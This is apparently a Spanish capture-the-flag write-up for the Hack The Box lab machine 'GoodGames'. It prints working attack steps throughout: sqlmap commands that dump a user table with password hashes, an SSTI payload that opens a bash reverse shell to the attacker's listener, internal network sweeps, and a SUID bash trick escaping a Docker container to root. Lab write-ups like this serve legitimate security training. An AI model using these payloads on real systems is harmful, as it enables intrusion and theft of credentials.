> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/goodgames.md). # GoodGames ### 🔍 RECONOCIMIENTO En primer lugar, tras conectarnos a la máquina, utilizamos el comando: ```bash ping -c 1 10.10.11.130 ``` para verificar la conectividad de red.

A continuación, realizamos el comando: ```bash nmap -sC -sV 10.10.11.130 ``` para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Durante el escaneo se identificaron los siguientes puertos abiertos: * **Puerto 80 (HTTP):** Este puerto generalmente está asociado a servidores web. Si el servicio está ejecutando un servidor web como Apache, Nginx o IIS, es recomendable buscar vulnerabilidades conocidas relacionadas con el software y versiones en uso (por ejemplo, a través de CVEs). Además, es importante realizar pruebas de seguridad en las aplicaciones web que se ejecutan en el servidor, como inyecciones SQL, Cross-Site Scripting (XSS) o vulnerabilidades de escalada de privilegios. A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque. ### 🔎 EXPLORACIÓN Se utiliza el comando: ```bash sudo nmap -sCV -p80 -v 10.10.11.130 ``` para que nos proporcione más información sobre esos puertos específicamente.

Accedemos al puerto 80.

Es una página de Juegos y tiene un Login vamos a usar entonces SQLMap.

Conocer las bases de datos. ``` sqlmap -u http://10.10.11.130 --forms --dbs --batch ```

Conocer las tablas de la base de datos objetivo. ``` sqlmap -u http://10.10.11.130 --forms -D main --tables --batch ```

Conocer las columnas de la tabla de la bases de datos objetivo. ``` sqlmap -u http://10.10.11.130 --forms -D main -T user --columns --batch ```

Conocer la información que hay en esas columnas. ```bash sqlmap -u http://10.10.11.130 --forms -D main -T user -C name,id,email,password --dump --batch ```

Hemos encontrado unas credenciales aunque la contraseña al ser un hash la crackeamos.

Después de analizar el sitio web del perfil, encontramos un símbolo de configuración que nos redirige a una URL con un dominio diferente. Como primer paso, registraremos este nuevo dominio en el archivo `/etc/hosts`. ```bash echo "10.10.11.130 internal-administration.goodgames.htb" >> /etc/hosts ```

Nos logueamos con esas credenciales.

### 🚀 **EXPLOTACIÓN** Con **Wappalyzer** se ejecuta **Python** por lo que parece una vulnerabilidad **SSTI**. Para ello realizamos la comprobación básica. ``` {{ 7 * 7 }} ```

Es vulnerable a **SSTI** por lo que realizamos un payload que contiene una Reverse Shell. ``` {{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"').read() }} ``` Nos ponemos en escucha. ```bash nc -nlvp 4444 ```

### 🔐 PRIVILEGIOS Al estar dentro y ejecutar: ```bash whoami ``` somos **root.** No somos root de manera oficial.

La interfaz de red está conectada al adaptador de red interna con la dirección `172.19.0.2/16`, lo que nos permite comunicarnos con la red interna desde nuestra máquina de ataque a través de la red comprometida. Para descubrir los hosts en la red interna, utilizamos el siguiente comando en una sola línea para realizar un escaneo de barrido: ```bash for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done; ```

Una vez identificado un objetivo, realizamos un escaneo de puertos con el siguiente comando: ```bash for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null ```

Comencé a buscar credenciales de SSH en la máquina y finalmente encontré la carpeta de un usuario dentro del directorio `/home`. Sin embargo, no encontré a `augustus` en el archivo `/etc/passwd`.

Vemos que el puerto 22 y 80 están abiertos, por lo que intentamos conectarnos por SSH con el usuario augustus utilizando la contraseña que habíamos encontrado previamente (superadministrator). ```bash ssh augustus@172.19.0.1 whoami augustus ``` Como el directorio home del usuario augustus está montado en el contenedor **Docker** y tenemos acceso como usuario **root**, podemos trasladar un binario con permisos **SUID** al home de **augustus** para escalar privilegios a root en el host. ```bash augustus@GoodGames:~$ cp /bin/bash . augustus@GoodGames:~$ ls bash user.txt root@3a453ab39d3d:/home/augustus chown root:root /home/augustus/bash root@3a453ab39d3d:/home/augustus chmod +s /home/augustus/bash augustus@GoodGames:~$ ./bash -p bash-5.1# id uid=1000(augustus) gid=1000(augustus) euid=0(root) egid=0(root) groups=0(root),1000(augustus) bash-5.1# whoami root ``` Ahora que hemos logrado elevar nuestros privilegios a **root** en la máquina víctima, podemos proceder a leer la flag del usuario **root**.